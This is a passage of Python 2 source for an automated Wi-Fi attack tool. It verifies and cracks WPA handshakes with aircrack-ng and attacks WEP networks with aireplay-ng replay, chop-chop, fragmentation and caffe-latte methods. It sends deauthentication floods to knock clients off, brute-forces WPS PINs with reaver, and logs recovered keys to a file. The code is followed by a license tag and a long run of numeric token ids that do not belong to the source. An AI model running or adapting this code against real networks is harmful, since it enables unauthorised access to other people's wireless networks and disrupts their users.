hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
(line.lower().find(target.bssid.lower()) != -1)
#hit_essid = (line.lower().find(target.bssid.lower()))
else:
# If Pyrit says it's good or workable, it's a valid handshake.
if hit_essid and (line.find(', good, ') != -1 or \
line.find(', workable, ') != -1):
# or line.find(', bad, ') != -1):
return True
return False
def has_handshake_aircrack(target, capfile):
"""
Uses aircrack-ng to check for handshake.
Returns True if found, False otherwise.
"""
if not program_exists('aircrack-ng'): return False
crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
proc_crack.wait()
txt = proc_crack.communicate()[0]
return (txt.find('Passphrase not in dictionary') != -1)
def has_handshake(target, capfile):
"""
Checks if .cap file contains a handshake.
Returns True if handshake is found, False otherwise.
"""
valid_handshake = True
tried = False
if WPA_HANDSHAKE_TSHARK:
tried = True
valid_handshake = has_handshake_tshark(target, capfile)
if valid_handshake and WPA_HANDSHAKE_COWPATTY:
tried = True
valid_handshake = has_handshake_cowpatty(target, capfile)
# Use CowPatty to check for handshake.
if valid_handshake and WPA_HANDSHAKE_COWPATTY:
tried = True
valid_handshake = has_handshake_cowpatty(target, capfile)
# Check for handshake using Pyrit if applicable
if valid_handshake and WPA_HANDSHAKE_PYRIT:
tried = True
valid_handshake = has_handshake_pyrit(target, capfile)
# Check for handshake using aircrack-ng
if valid_handshake and WPA_HANDSHAKE_AIRCRACK:
tried = True
valid_handshake = has_handshake_aircrack(target, capfile)
if tried: return valid_handshake
print R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!'
exit_gracefully(1)
def strip_handshake(capfile):
"""
Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
File in location 'capfile' is overwritten!
"""
output_file = capfile
if program_exists('pyrit'):
cmd = ['pyrit',
'-r', capfile,
'-o', output_file,
'strip']
call(cmd,stdout=DN, stderr=DN)
elif program_exists('tshark'):
# strip results with tshark
cmd = ['tshark',
'-r', capfile, # input file
'-R', 'eapol || wlan_mgt.tag.interpretation', # filter
'-w', capfile + '.temp'] # output file
proc_strip = call(cmd, stdout=DN, stderr=DN)
rename(capfile + '.temp', output_file)
else:
print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W
def save_cracked(bssid, ssid, key, encryption):
"""
Saves cracked access point key and info to a file.
"""
sep = chr(0)
fout = open('cracked.txt', 'a')
fout.write(bssid + sep + ssid + sep + key + sep + encryption + '\n')
fout.flush()
fout.close()
def load_cracked():
"""
Loads info about cracked access points into list, returns list.
"""
result = []
if not os.path.exists('cracked.txt'): return result
fin = open('cracked.txt', 'r')
lines = fin.read().split('\n')
fin.close()
for line in lines:
fields = line.split(chr(0))
if len(fields) <= 3: continue
tar = Target(fields[0], '', '', '', fields[3], fields[1])
tar.key = fields[2]
result.append(tar)
return result
##########################
# WPA CRACKING FUNCTIONS #
##########################
def wpa_crack(capfile):
"""
Cracks cap file using aircrack-ng
This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
they can do so manually.
"""
if WPA_DICTIONARY == '':
print R+' [!]'+O+' no WPA dictionary found! use -dict <file> command-line argument'+W
return False
print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W)
start_time = time.time()
cracked = False
remove_file(temp + 'out.out')
remove_file(temp + 'wpakey.txt')
cmd = ['aircrack-ng',
'-a', '2', # WPA crack
'-w', WPA_DICTIONARY, # Wordlist
'-l', temp + 'wpakey.txt', # Save key to file
'-b', capfile.bssid, # BSSID of target
capfile.filename]
proc = Popen(cmd, stdout=open(temp + 'out.out', 'a'), stderr=DN)
try:
kt = 0 # Keys tested
kps = 0 # Keys per second
while True:
time.sleep(1)
if proc.poll() != None: # aircrack stopped
if os.path.exists(temp + 'wpakey.txt'):
# Cracked
inf = open(temp + 'wpakey.txt')
key = inf.read().strip()
inf.close()
WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W))
WPA_FINDINGS.append('')
save_cracked(capfile.bssid, capfile.ssid, key, 'WPA')
print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W)
print GR+' [+]'+W+' key: "%s"\n' % (C+key+W)
cracked = True
else:
# Did not crack
print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W
break
inf = open(temp + 'out.out', 'r')
lines = inf.read().split('\n')
inf.close()
outf = open(temp + 'out.out', 'w')
outf.close()
for line in lines:
i = line.find(']')
j = line.find('keys tested', i)
if i != -1 and j != -1:
kts = line[i+2:j-1]
try: kt = int(kts)
except ValueError: pass
i = line.find('(')
j = line.find('k/s)', i)
if i != -1 and j != -1:
kpss = line[i+1:j-1]
try: kps = float(kpss)
except ValueError: pass
print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
(GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W),
stdout.flush()
except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W
send_interrupt(proc)
try: os.kill(proc.pid, SIGTERM)
except OSError: pass
return cracked
def add_commas(n):
"""
Receives integer n, returns string representation of n with commas in thousands place.
I'm sure there's easier ways of doing this... but meh.
"""
strn = str(n)
lenn = len(strn)
i = 0
result = ''
while i < lenn:
if (lenn - i) % 3 == 0 and i != 0: result += ','
result += strn[i]
i += 1
return result
#################
# WEP FUNCTIONS #
#################
def attack_wep(iface, target, clients):
"""
Attacks WEP-encrypted network.
Returns True if key was successfully found, False otherwise.
"""
global WEP_TIMEOUT, TARGETS_REMAINING
if WEP_TIMEOUT <= 0: WEP_TIMEOUT = -1
total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
if not WEP_ARP_REPLAY: total_attacks -= 1
if not WEP_CHOPCHOP: total_attacks -= 1
if not WEP_FRAGMENT: total_attacks -= 1
if not WEP_CAFFELATTE: total_attacks -= 1
if not WEP_P0841: total_attacks -= 1
if not WEP_HIRTE: total_attacks -= 1
if total_attacks <= 0:
print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are selected!'
return False
remaining_attacks = total_attacks
print ' %s preparing attack "%s" (%s)' % \
(GR+sec_to_hms(WEP_TIMEOUT)+W, G+target.ssid+W, G+target.bssid+W)
interrupted_count = 0
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
# Start airodump process to capture packets
cmd_airodump = ['airodump-ng',
'-w', temp + 'wep', # Output file name (wep-01.cap, wep-01.csv)
'-c', target.channel, # Wireless channel
'--bssid', target.bssid,
iface]
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
proc_aireplay = None
proc_aircrack = None
successful = False # Flag for when attack is successful
started_cracking = False # Flag for when we have started aircrack-ng
client_mac = '' # The client mac we will send packets to/from
total_ivs = 0
ivs = 0
last_ivs = 0
for attack_num in xrange(0, 6):
# Skip disabled attacks
if attack_num == 0 and not WEP_ARP_REPLAY: continue
elif attack_num == 1 and not WEP_CHOPCHOP: continue
elif attack_num == 2 and not WEP_FRAGMENT: continue
elif attack_num == 3 and not WEP_CAFFELATTE: continue
elif attack_num == 4 and not WEP_P0841: continue
elif attack_num == 5 and not WEP_HIRTE: continue
remaining_attacks -= 1
try:
if wep_fake_auth(iface, target, sec_to_hms(WEP_TIMEOUT)):
# Successful fake auth
client_mac = THIS_MAC
elif not WEP_IGNORE_FAKEAUTH:
send_interrupt(proc_aireplay)
send_interrupt(proc_airodump)
print R+' [!]'+O+' unable to fake-authenticate with target'
print R+' [!]'+O+' to skip this speed bump, select "ignore-fake-auth" at command-line'
return False
remove_file(temp + 'arp.cap')
# Generate the aireplay-ng arguments based on attack_num and other params
cmd = get_aireplay_command(iface, attack_num, target, clients, client_mac)
if cmd == '': continue
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
print '\r %s attacking "%s" via' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G+target.ssid+W),
if attack_num == 0: print G+'arp-replay',
elif attack_num == 1: print G+'chop-chop',
elif attack_num == 2: print G+'fragmentation',
elif attack_num == 3: print G+'caffe-latte',
elif attack_num == 4: print G+'p0841',
elif attack_num == 5: print G+'hirte',
print 'attack'+W
print ' %s captured %s%d%s ivs @ %s iv/sec' % (GR+sec_to_hms(WEP_TIMEOUT)+W, G, total_ivs, W, G+'0'+W),
stdout.flush()
time.sleep(1)
if attack_num == 1:
# Send a deauth packet to broadcast and all clients *just because!*
wep_send_deauths(iface, target, clients)
last_deauth = time.time()
replaying = False
time_started = time.time()
while time.time() - time_started < WEP_TIMEOUT:
# time.sleep(5)
for time_count in xrange(0, 6):
if WEP_TIMEOUT == -1:
current_hms = "[endless]"
else:
current_hms = sec_to_hms(WEP_TIMEOUT - (time.time() - time_started))
print "\r %s\r" % (GR+current_hms+W),
stdout.flush()
time.sleep(1)
# Calculates total seconds remaining
# Check number of IVs captured
csv = parse_csv(temp + 'wep-01.csv')[0]
if len(csv) > 0:
ivs = int(csv[0].data)
print "\r ",
print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
(GR+current_hms+W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
print "\r %s deauthing to generate packets..." % (GR+current_hms+W),
wep_send_deauths(iface, target, clients)
print "done\r",
last_deauth = time.time()
last_ivs = ivs
stdout.flush()
if total_ivs + ivs >= WEP_CRACK_AT_IVS and not started_cracking:
# Start cracking
cmd = ['aircrack-ng',
'-a', '1',
'-l', temp + 'wepkey.txt']
#temp + 'wep-01.cap']
# Append all .cap files in temp directory (in case we are resuming)
for file in os.listdir(temp):
if file.startswith('wep-') and file.endswith('.cap'):
cmd.append(temp + file)
print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, WEP_CRACK_AT_IVS, W)
proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
started_cracking = True
# Check if key has been cracked yet.
if os.path.exists(temp + 'wepkey.txt'):
# Cracked!
infile = open(temp + 'wepkey.txt', 'r')
key = infile.read().replace('\n', '')
infile.close()
print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)
WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))
WEP_FINDINGS.append('')
save_cracked(target.bssid, target.ssid, key, 'WEP')
# Kill processes
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
try: os.kill(proc_aireplay, SIGTERM)
except: pass
send_interrupt(proc_aircrack)
# Remove files generated by airodump/aireplay/packetforce
time.sleep(0.5)
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
return True
# Check if aireplay is still executing
if proc_aireplay.poll() == None:
if replaying: print ', '+G+'replaying \r'+W,
elif attack_num == 1 or attack_num == 2: print ', waiting for packet \r',
stdout.flush()
continue
# At this point, aireplay has stopped
if attack_num != 1 and attack_num != 2:
print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W)
break # Break out of attack's While loop
# Check for a .XOR file (we expect one when doing chopchop/fragmentation
xor_file = ''
for filename in sorted(os.listdir(temp)):
if filename.lower().endswith('.xor'): xor_file = temp + filename
if xor_file == '':
print '\r %s attack failed: %sunable to generate keystream %s' % (R+current_hms, O, W)
break
remove_file(temp + 'arp.cap')
cmd = ['packetforge-ng',
'-0',
'-a', targets.bssid,
'-h', client_mac,
'-k', '192.168.1.2',
'-l', '192.168.1.100',
'-y', xor_file,
'-w', temp + 'arp.cap',
iface]
proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
proc_pforge.wait()
forged_packet = proc_pforge.communicate()[0]
remove_file(xor_file)
if forged_packet == None: result = ''
forged_packet = forged_packet.strip()
if not forged_packet.find('Wrote packet'):
print "\r %s attack failed: unable to forget ARP packet %s" % (R+current_hms+O, w)
break
# We were able to forge a packet, so let's replay it via aireplay-ng
cmd = ['aireplay-ng',
'--arpreplay',
'-b', target.bssid,
'-r', temp + 'arp.cap', # Used the forged ARP packet
'-F', # Select the first packet
iface]
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
print '\r %s forged %s! %s... ' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W)
replaying = True
# After the attacks, if we are already cracking, wait for the key to be found!
while started_cracking: # ivs > WEP_CRACK_AT_IVS:
time.sleep(5)
# Check number of IVs captured
csv = parse_csv(temp + 'wep-01.csv')[0]
if len(csv) > 0:
ivs = int(csv[0].data)
print GR+" [endless]"+W+" captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
(G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
last_ivs = ivs
stdout.flush()
# Check if key has been cracked yet.
if os.path.exists(temp + 'wepkey.txt'):
# Cracked!
infile = open(temp + 'wepkey.txt', 'r')
key = infile.read().replace('\n', '')
infile.close()
print GR+'\n\n [endless] %s %s (%s)! key: "%s"' % (G+'cracked', target.ssid+W, G+target.bssid+W, C+key+W)
WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (target.ssid, target.bssid, key))
WEP_FINDINGS.append('')
save_cracked(target.bssid, target.ssid, key, 'WEP')
# Kill processes
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
send_interrupt(proc_aircrack)
# Remove files generated by airodump/aireplay/packetforce
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
return True
# Keyboard interrupt during attack
except KeyboardInterrupt:
print R+'\n (^C)'+O+' WEP attack interrupted\n'+W
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
if proc_aircrack != None:
send_interrupt(proc_aircrack)
options = []
selections = []
if remaining_attacks > 0:
options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
(G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
selections.append(G+'c'+W)
if TARGETS_REMAINING > 0:
options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
(O, W, TARGETS_REMAINING, 's' if TARGETS_REMAINING != 1 else ''))
selections.append(O+'s'+W)
options.append('%sexit%s the program completely' % (R, W))
selections.append(R+'e'+W)
if len(options) > 1:
# Ask user what they want to do, Store answer in "response"
print GR+' [+]'+W+' what do you want to do?'
response = ''
while response != 'c' and response != 's' and response != 'e':
for option in options:
print ' %s' % option
response = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
else:
response = 'e'
if response == 'e' or response == 's':
# Exit or skip target (either way, stop this attack)
if WEP_SAVE:
# Save packets
save_as = re.sub(r'[^a-zA-Z0-9]', '', target.ssid) + '_' + target.bssid.replace(':', '-') + '.cap'+W
try: rename(temp + 'wep-01.cap', save_as)
except OSError: print R+' [!]'+O+' unable to save capture file!'+W
else: print GR+' [+]'+W+' packet capture '+G+'saved'+W+' to '+G+save_as+W
# Remove files generated by airodump/aireplay/packetforce
for filename in os.listdir('.'):
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
remove_file(filename)
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
print ''
if response == 'e':
exit_gracefully(0)
return
elif response == 'c':
# Continue attacks
# Need to backup temp/wep-01.cap and remove airodump files
i = 2
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
i += 1
copy(temp + "wep-01.cap", temp + 'wep-' + str(i) + '.cap')
remove_airodump_files(temp + 'wep')
# Need to restart airodump-ng, as it's been interrupted/killed
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
# Say we haven't started cracking yet, so we re-start if needed.
started_cracking = False
# Reset IVs counters for proper behavior
total_ivs += ivs
ivs = 0
last_ivs = 0
# Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
pass
if successful:
print GR+'\n [0:00:00]'+W+' attack complete: '+G+'success!'+W
else:
print GR+'\n [0:00:00]'+W+' attack complete: '+R+'failure'+W
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
# Remove files generated by airodump/aireplay/packetforce
for filename in os.listdir('.'):
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
remove_file(filename)
remove_airodump_files(temp + 'wep')
remove_file(temp + 'wepkey.txt')
def wep_fake_auth(iface, target, time_to_display):
"""
Attempt to (falsely) authenticate with a WEP access point.
Gives 3 seconds to make each 5 authentication attempts.
Returns True if authentication was successful, False otherwise.
"""
max_wait = 3 # Time, in seconds, to allow each fake authentication
max_attempts = 5 # Number of attempts to make
for fa_index in xrange(1, max_attempts + 1):
print '\r ',
print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
(GR+time_to_display+W, G, W, fa_index, max_attempts),
stdout.flush()
cmd = ['aireplay-ng',
'-1', '0', # Fake auth, no delay
'-a', target.bssid,
'-T', '1'] # Make 1 attempt
if target.ssid != '':
cmd.append('-e')
cmd.append(target.ssid)
cmd.append(iface)
proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
started = time.time()
while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
if time.time() - started > max_wait:
send_interrupt(proc_fakeauth)
print R+'failed'+W,
stdout.flush()
time.sleep(0.5)
continue
result = proc_fakeauth.communicate()[0].lower()
if result.find('switching to shared key') != -1 or \
result.find('rejects open system'): pass
# TODO Shared Key Authentication (SKA)
if result.find('association successful') != -1:
print G+'success!'+W
return True
print R+'failed'+W,
stdout.flush()
time.sleep(0.5)
continue
print ''
return False
def get_aireplay_command(iface, attack_num, target, clients, client_mac):
"""
Returns aireplay-ng command line arguments based on parameters.
"""
cmd = ''
if attack_num == 0:
cmd = ['aireplay-ng',
'--arpreplay',
'-b', target.bssid,
'-x', str(WEP_PPS)] # Packets per second
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 1:
cmd = ['aireplay-ng',
'--chopchop',
'-b', target.bssid,
'-x', str(WEP_PPS), # Packets per second
'-m', '60', # Minimum packet length (bytes)
'-n', '82', # Maxmimum packet length
'-F'] # Automatically choose the first packet
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 2:
cmd = ['aireplay-ng',
'--fragment',
'-b', target.bssid,
'-x', str(WEP_PPS), # Packets per second
'-m', '100', # Minimum packet length (bytes)
'-F'] # Automatically choose the first packet
if client_mac != '':
cmd.append('-h')
cmd.append(client_mac)
elif len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 3:
cmd = ['aireplay-ng',
'--caffe-latte',
'-b', target.bssid]
if len(clients) > 0:
cmd.append('-h')
cmd.append(clients[0].bssid)
cmd.append(iface)
elif attack_num == 4:
cmd = ['aireplay-ng',
'--interactive',
'-b', target.bssid,
'-c', 'ff:ff:ff:ff:ff:ff',
'-t', '1', # Only select packets with ToDS bit set
'-x', str(WEP_PPS), # Packets per second
'-F', # Automatically choose the first packet
'-p', '0841']
cmd.append(iface)
elif attack_num == 5:
if len(clients) == 0:
print R+' [0:00:00] unable to carry out hirte attack: '+O+'no clients'
return ''
cmd = ['aireplay-ng',
'--cfrag',
'-h', clients[0].bssid,
iface]
return cmd
def wep_send_deauths(iface, target, clients):
"""
Sends deauth packets to broadcast and every client.
"""
# Send deauth to broadcast
cmd = ['aireplay-ng',
'--deauth', '1',
'-a', target.bssid,
iface]
call(cmd, stdout=DN, stderr=DN)
# Send deauth to every client
for client in clients:
cmd = ['aireplay-ng',
'--deauth', '1',
'-a', target.bssid,
'-h', client.bssid,
iface]
call(cmd, stdout=DN, stderr=DN)
#################
# WPS FUNCTIONS #
#################
def wps_attack(iface, target):
"""
Mounts attack against target on iface.
Uses "reaver" to attempt to brute force the PIN.
Once PIN is found, PSK can be recovered.
PSK is displayed to user and added to WPS_FINDINGS
"""
print GR+' [0:00:00]'+W+' initializing %sWPS PIN attack%s on %s' % \
(G, W, G+target.ssid+W+' ('+G+target.bssid+W+')'+W)
cmd = ['reaver',
'-i', iface,
'-b', target.bssid,
'-o', temp + 'out.out', # Dump output to file to be monitored
'-a', # auto-detect best options, auto-resumes sessions, doesn't require input!
'-c', target.channel,
# '--ignore-locks',
'-vv'] # verbose output
proc = Popen(cmd, stdout=DN, stderr=DN)
cracked = False # Flag for when password/pin is found
percent = 'x.xx%' # Percentage complete
aps = 'x' # Seconds per attempt
time_started = time.time()
last_success = time_started # Time of last successful attempt
last_pin = '' # Keep track of last pin tried (to detect retries)
retries = 0 # Number of times we have attempted this PIN
tries_total = 0 # Number of times we have attempted all pins
tries = 0 # Number of successful attempts
pin = ''
key = ''
try:
while not cracked:
time.sleep(1)
if proc.poll() != None:
# Process stopped: Cracked? Failed?
inf = open(temp + 'out.out', 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
# When it's cracked:
if line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS PIN: '") + 10:-1]
if line.find("WPA PSK: '") != -1:
key = line[line.find("WPA PSK: '") + 10:-1]
cracked = True
break
if not os.path.exists(temp + 'out.out'): continue
inf = open(temp + 'out.out', 'r')
lines = inf.read().split('\n')
inf.close()
for line in lines:
if line.strip() == '': continue
# Status
if line.find(' complete @ ') != -1 and len(line) > 8:
percent = line.split(' ')[1]
i = line.find(' (')
j = line.find(' seconds/', i)
if i != -1 and j != -1: aps = line[i+2:j]
# PIN attempt
elif line.find(' Trying pin ') != -1:
pin = line.strip().split(' ')[-1]
if pin == last_pin:
retries += 1
elif tries_total == 0:
last_pin = pin
tries_total -= 1
else:
last_success = time.time()
tries += 1
last_pin = pin
retries = 0
tries_total += 1
# Warning
elif line.endswith('10 failed connections in a row'): pass
# Check for PIN/PSK
elif line.find("WPS PIN: '") != -1:
pin = line[line.find("WPS PIN: '") + 10:-1]
elif line.find("WPA PSK: '") != -1:
key = line[line.find("WPA PSK: '") + 10:-1]
cracked = True
if cracked: break
print ' %s WPS attack, %s success/ttl,' % \
(GR+sec_to_hms(time.time()-time_started)+W, \
G+str(tries)+W+'/'+O+str(tries_total)+W),
if percent == 'x.xx%' and aps == 'x': print '\r',
else:
print '%s complete (%s sec/att) \r' % (G+percent+W, G+aps+W),
if WPS_TIMEOUT > 0 and (time.time() - last_success) > WPS_TIMEOUT:
print R+'\n [!]'+O+' unable to complete successful try in %d seconds' % (WPS_TIMEOUT)
print R+' [+]'+W+' skipping %s' % (O+target.ssid+W)
break
if WPS_MAX_RETRIES > 0 and retries > WPS_MAX_RETRIES:
print R+'\n [!]'+O+' unable to complete successful try in %d retries' % (WPS_MAX_RETRIES)
print R+' [+]'+O+' the access point may have WPS-locking enabled, or is too far away'+W
print R+' [+]'+W+' skipping %s' % (O+target.ssid+W)
break
if WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (float(tries) / tries_total) < WPS_RATIO_THRESHOLD:
print R+'\n [!]'+O+' successful/total attempts ratio was too low (< %.2f)' % (WPS_RATIO_THRESHOLD)
print R+' [+]'+W+' skipping %s' % (G+target.ssid+W)
break
stdout.flush()
# Clear out output file if bigger than 1mb
inf = open(temp + 'out.out', 'w')
inf.close()
# End of big "while not cracked" loop
if cracked:
if pin != '': print GR+'\n\n [+]'+G+' PIN found: %s' % (C+pin+W)
if key != '': print GR+' [+] %sWPA key found:%s %s' % (G, W, C+key+W)
WPA_FINDINGS.append(W+"found %s's WPA key: \"%s\", WPS PIN: %s" % (G+target.ssid+W, C+key+W, C+pin+W))
WPA_FINDINGS.append('')
save_cracked(target.bssid, target.ssid, "Key is '" + key + "' and PIN is '" + pin + "'", 'WPA')
except KeyboardInterrupt:
print R+'\n (^C)'+O+' WPS brute-force attack interrupted'+W
if attack_interrupted_prompt():
send_interrupt(proc)
print ''
exit_gracefully(0)
send_interrupt(proc)
return cracked
#c = CapFile('hs/KillfuckSoulshitter_C0-C1-C0-07-54-DC_2.cap', 'Killfuck Soulshitter', 'c0:c1:c0:07:54:dc')
#WPA_CRACKER = 'aircrack'
#cracked = wpa_crack(c)
#print cracked
#exit_gracefully(1)
if __name__ == '__main__':
try:
banner()
main()
except KeyboardInterrupt: print R+'\n (^C)'+O+' interrupted\n'+W
except EOFError: print R+'\n (^D)'+O+' interrupted\n'+W
exit_gracefully(0)
|
gpl-2.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
624,
199,
198,
4326,
266,
8299,
198,
2502,
26,
16921,
86,
2564,
737,
29712,
8299,
198,
31661,
1334,
314,
1664,
1696,
1684,
844,
3394,
499,
334,
17732,
14629,
373,
18,
395,
221,
6722,
2808,
737,
26,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
13,
18,
14,
16,
14,
2424,
8299,
198,
8,
35,
9,
7760,
18674,
86,
18880,
75,
1435,
421,
198,
777,
13,
421,
198,
11768,
26,
8299,
198,
4247,
1738,
1104,
1380,
446,
67,
8085,
379,
334,
4399,
3079,
9,
334,
9321,
1738,
367,
446,
1074,
17076,
199,
198,
2,
67,
8085,
379,
12469,
315,
769,
402,
10319,
1159,
8299,
198,
21012,
2011,
1414,
13,
604,
6258,
1561,
687,
373,
17,
8299,
198,
3917,
2243,
2575,
315,
8372,
818,
12,
1104,
367,
436,
12,
340,
3964,
12,
675,
4497,
335,
12974,
28550,
644,
5067,
507,
627,
603,
287,
296,
295,
28396,
5847,
14604,
83,
12184,
507,
627,
15902,
3595,
2582,
402,
900,
1415,
367,
644,
5067,
23326,
19943,
8419,
13278,
507,
627,
12968,
900,
3967,
2061,
9512,
7427,
507,
627,
3492,
2946,
474,
402,
11275,
15,
13143,
5805,
507,
627,
6162,
1233,
370,
1736,
543,
295,
28396,
413,
14,
20,
1689,
88,
2,
6513,
15,
6796,
9,
2742,
644,
6102,
26,
507,
627,
21255,
370,
16834,
15,
2759,
15,
6958,
198,
8,
4456,
12,
440,
12470,
9,
11083,
627,
3207,
370,
12296,
1454,
473,
7428,
14593,
334,
5589,
1553,
1199,
13,
908,
284,
3122,
12,
4737,
9,
21979,
446,
440,
9025,
641,
12731,
282,
5958,
8085,
13,
2753,
1159,
14,
686,
257,
446,
13870,
1255,
298,
5789,
293,
2724,
13,
2753,
1553,
1199,
13,
908,
284,
3122,
12,
4737,
401,
298,
1944,
3217,
2013,
2,
275,
5419,
686,
446,
3955,
10415,
3224,
641,
1568,
402,
6290,
1275,
12029,
507,
11083,
295,
28396,
26,
17957,
198,
603,
615,
649,
726,
21401,
6882,
1922,
1,
17957,
198,
446,
16401,
221,
1608,
998,
1380,
14043,
7558,
9,
21979,
446,
7523,
644,
5067,
790,
12454,
1172,
506,
17924,
14,
11083,
257,
446,
982,
949,
12454,
883,
506,
6326,
12,
3631,
23326,
6722,
21979,
446,
577,
4039,
23326,
12,
340,
949,
12454,
787,
6326,
4453,
1323,
9395,
12,
3631,
23326,
1253,
9101,
6722,
21979,
446,
799,
28396,
1159,
1072,
1380,
17329,
370,
20133,
26,
507,
258,
359,
1,
61,
14750,
26,
16277,
370,
20133,
543,
437,
33,
26,
5342,
26,
2571,
26,
5745,
26,
8699,
26,
1665,
334,
1608,
998,
26,
17281,
5638,
9,
21979,
446,
982,
3405,
370,
20133,
367,
671,
9395,
12,
3631,
23326,
334,
7191,
465,
949,
12454,
17076,
8299,
198,
45,
2830,
1649,
26,
17957,
627,
644,
8470,
446,
286,
8085,
334,
647,
11133,
15,
19969,
10853,
369,
9,
334,
1397,
7710,
11012,
9,
17957,
627,
1379,
315,
8923,
737,
14210,
31,
334,
2759,
80,
461,
4799,
1414,
13,
604,
6258,
9,
17957,
199,
624,
199,
199,
516,
8776,
199,
3,
25764,
50,
25244,
327,
199,
516,
8776,
199,
199,
646,
747,
258,
327,
3814,
10041,
199,
646,
900,
257,
327,
3194,
305,
4039,
23326,
15802,
199,
646,
2196,
327,
1464,
1958,
282,
2196,
13347,
2287,
14,
199,
646,
7554,
221,
327,
4520,
5579,
199,
199,
504,
984,
492,
9238,
3515,
327,
5817,
13,
604,
2368,
199,
504,
984,
492,
3839,
12,
9009,
327,
11040,
2084,
316,
199,
199,
504,
5145,
492,
1331,
327,
11247,
316,
1275,
2874,
1584,
199,
199,
3,
9434,
4655,
12,
13882,
1958,
543,
12,
1022,
12687,
10358,
199,
504,
3873,
492,
13995,
12,
1240,
12,
22773,
199,
504,
4673,
492,
15522,
2919,
12,
15522,
16718,
199,
199,
646,
295,
327,
5044,
920,
12,
23258,
428,
19514,
370,
1788,
199,
199,
646,
4011,
327,
2670,
367,
892,
5459,
687,
314,
3831,
421,
199,
1371,
199,
3,
598,
12667,
30098,
17041,
1621,
11727,
445,
1282,
51,
327,
199,
1371,
199,
199,
907,
18775,
275,
16412,
27,
421,
199,
3,
644,
8470,
2860,
199,
55,
8470,
63,
13052,
3515,
275,
756,
327,
18241,
370,
3372,
644,
8470,
14305,
12296,
199,
55,
8470,
63,
31296,
63,
40,
20033,
6294,
2430,
221,
275,
715,
221,
327,
3645,
1134,
11133,
503,
307,
609,
1096,
334,
692,
3964,
9,
370,
6202,
14305,
199,
55,
8470,
63,
1093,
5580,
63,
8899,
257,
275,
1616,
259,
327,
4703,
370,
3618,
3382,
477,
11725,
330,
300,
10329,
334,
262,
4696,
9,
199,
55,
8470,
63,
11712,
3099,
63,
8899,
257,
275,
6891,
257,
327,
19271,
900,
370,
2040,
367,
282,
14305,
23326,
334,
262,
4696,
9,
199,
55,
8470,
63,
40,
20033,
6294,
2430,
63,
3022,
259,
275,
283,
4213,
7,
221,
327,
15191,
315,
1314,
4926,
609,
4364,
1275,
